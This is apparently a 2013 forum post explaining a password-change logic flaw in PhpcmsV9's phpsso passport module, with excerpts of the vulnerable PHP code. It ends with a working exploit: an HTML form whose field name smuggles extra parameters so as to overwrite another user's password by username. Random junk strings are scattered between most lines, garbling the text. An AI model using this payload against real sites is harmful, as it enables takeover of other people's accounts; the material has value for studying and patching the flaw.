找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2004|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
; U9 a& i1 f: n& Q' @8 z1 ~# j7 C3 f

+ a8 c2 i, o8 L) J: `) ~parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);9 Z0 W) v' G% c* b- P

, {4 I* O" Y5 T, T2 v& w: {4 ?9 ?在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。. `: h+ E& I3 O6 h6 U

! P$ j! i+ X( x- I: y/ |我把它留给了你们。
( {6 g' _$ [# R9 b" ?不知道你们发现了它没有。- l' l) ~1 @: x5 u- s: c- B( V4 \! j* f
, O2 j3 D6 Y# l% b9 N' r
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
+ N9 G) F( l3 K. ]* }$ d
4 m) d" I# o4 |+ U所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
+ u( c# z7 k7 Q5 \/ y. i7 _  S% Z8 D4 A2 g
也就是! ?* O% E$ i! t2 ~8 M- z( ^! w
9 k1 H" T( P, V5 s
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
6 n% @! L6 Y9 ^
" z1 I$ ^7 F1 i- s; F8 O* ~要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。0 J, v2 {/ g- G  h5 s" q# u
0 U1 W  E8 {5 k2 X0 E

# M0 H5 d/ o' `! a) {  S0 B其实我们有这样的机会,看看代码,如下:
& X- q0 b8 T9 U+ |) j- ^' ?+ [$ A* o. l9 {6 l

% O; p" L8 U+ y( i( |public function auth_data($data) {" e0 |6 w# i  F' ^& X& Z
                $s = $sep = '';
4 v# j0 u2 V# Q, p. [/ V; _                foreach($data as $k => $v) {  q4 P9 }; b' ^! w
                        if(is_array($v)) {/ \: E8 G0 h8 \7 F
                                $s2 = $sep2 = '';7 q  `% m4 }9 I8 R
                                foreach($v as $k2 => $v2) {4 M' M8 [, ?3 a, M0 m" O
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
4 l$ }  f; c/ d# c- X                                        $sep2 = '&';
9 r7 U2 _7 _. d( B                                }
% @+ v) M' H0 _. X( N; d                                $s .= $sep.$s2;
3 O$ U  T3 k$ l! l  Z( T1 b                        } else {$ ^, |8 U8 y, t: b. l/ D
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
; b: j, Q7 d9 P$ Z+ f                        }
: `! }  V! q- O7 O* r2 y3 p9 P' y% \, \2 {                        $sep = '&';, _8 V, ?  _0 n. ^4 m
                }: l/ J/ y: j7 Z* r9 q8 M4 W
8 ?" f( Y- p* ^3 k2 k  G
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
5 ?+ v: {1 s. A6 N. I3 |                return $auth_s;
- J/ g: `" x+ {& ^3 I        }3 J# r$ J5 y1 t% @2 N
/ \4 n6 S+ D) K: g. g. h' W; e
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
8 c# e' a, e& I1 [& B5 E/ Q- Y6 z6 L) o; t' S6 q
举个例子
3 R  v( d$ x, I- I5 G$ w- Q: I4 v% a* ~) c
$a[aaa=a&bbb] = 'a';
: n7 `0 R4 J+ X5 v; o4 y$ {7 M* g& w+ @( P& D
会变成aaa=a&bbb=a+ z2 l: |1 ]* w% N
  q# d/ @6 s. p1 K. Y. K4 Y& W
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。. D5 a; E1 c+ B( c! P

# ?2 e' {; ~+ F/ `这个时候,我们可以再去看一个函数。, t: n5 ?7 n/ B6 [
3 Q9 |- F4 ]* S2 V
就在这个文件内:7 S; u) u+ d" w; u$ d/ f
+ d. D% i: ~7 x' r

% y2 B+ O9 J, M) f! Gpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {. D9 t  b  Y; n2 h. z2 y  V3 R, S" a3 s7 L
                if($email && !$this->_is_email($email)) {
4 q8 s7 l2 f! V  z( h6 ]$ H+ L                        return -4;
, `. b3 k. N" b! P                }( U' @) i, p, U: R: ^( o8 i
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));2 e0 ?% d' N' [& ]; X' {) N& x
        }. F. x" K6 c1 U' _3 t$ M
# w3 W4 J; b  D6 |3 J
这是向通行证发了这样一个请求。5 L' K8 U6 I3 }  T
, i5 O# q9 z2 K
我们再跟到通信证代码里去看看,就会有所发现。$ [% W5 }+ Z/ [& ]# s5 Z5 t0 S

0 l* a0 }; p7 M2 d3 V5 I6 o
  d% b: D, c+ K2 Z$ |; O. r+ gpublic function edit() {
9 R- w  A5 X1 `9 o1 [  Q//能省就省,太长了不是吗?0 g. y) F: L9 g- B3 w1 I3 f8 N( m

, \# f; v' [% k/ N. cif($this->username) {
8 _. r; d) U9 W0 d3 V+ B2 w. Q$ C) F//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
9 x% P. T0 n- Z/ U# t* }8 [                                $res = $this->db->update($data, array('username'=>$this->username));) @- n; y/ R2 N( K
                        } else {5 w8 U+ S$ z* a  k$ H/ u1 F
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);5 n; G0 D) f& L6 d
                                $res = $this->db->update($data, array('uid'=>$this->uid));9 \& Z* n( s, B; x* [
                        }
2 L. c+ b% g8 D& ?/ j7 H  M+ ?: p) f1 L- I  O  k% u
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:6 |& V( ?# @. V! n* a8 \  P
( m9 n: v/ L7 N1 k0 L/ i, q9 e
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
0 N% L3 ]+ {7 [) [& d
+ M7 B7 W5 @5 l. n很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。! O& x) {% d; s  j: c

6 R# g0 T" m; X/ H我当然找到了:4 r: p3 f$ k$ Q8 n
phpcms9/phpcms/modules/member/index.php
7 }; K4 Q  ]3 L3 t3 Q, ?* |
, x$ e# V, Y; v! i$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
  g+ [9 R2 d) r- L% Q/ S  W( u& {, }- P, M! J: n4 z5 Q. H- G* H
然后就没有然后了。
! B3 t& ^3 H- f% X0 w1 G7 l
/ [' Z2 p0 n8 H<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">3 M2 m9 B% ?5 A. ?( V5 J0 i
                                <table width="100%" cellspacing="0" class="table_form">
% y) ]8 E5 _* S6 E                                        <tr>' V* U1 m6 T) b" o" I4 E% u
                                                <th width="80">邮箱:</th>        
; I2 C7 _  `) c8 K) c# [                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
, W; V# D5 o9 D  K                                        </tr>0 t  ]& }/ J# h$ E  H
                                        <tr>
8 ^- h0 r+ D7 ^                                                <th width="80">原密码:</th>        
. D- t, F" t" A+ [# c+ a/ {                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>! e! c- I* i7 Q1 s/ S
                                        </tr>
: g; r& b* u% t/ C' X4 p- C                                        <tr>
- r9 K2 Z: w0 O                                                <th>新密码:</th>$ ~; C7 O5 a+ u/ d# ^
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
) t  I" x  d6 S5 I                                        </tr>1 m" ]# }3 G- g8 k. o
                                        <th></th>' l% \  ^0 F. o3 B) W4 b8 A1 M7 i
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>0 g, }) ]7 Q3 o5 |, v* B5 q8 x7 f
                                        </tr>
( d4 \4 J: |  ?/ B  [$ X* a                                </table>
" q  d9 D7 D) v: }( w- e
# ]" I. X% K; H2 y% A( j                               
$ x; T; f1 I  v- W& B/ }                        </form>
% Q  n2 A$ A3 X% e+ A" e- o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表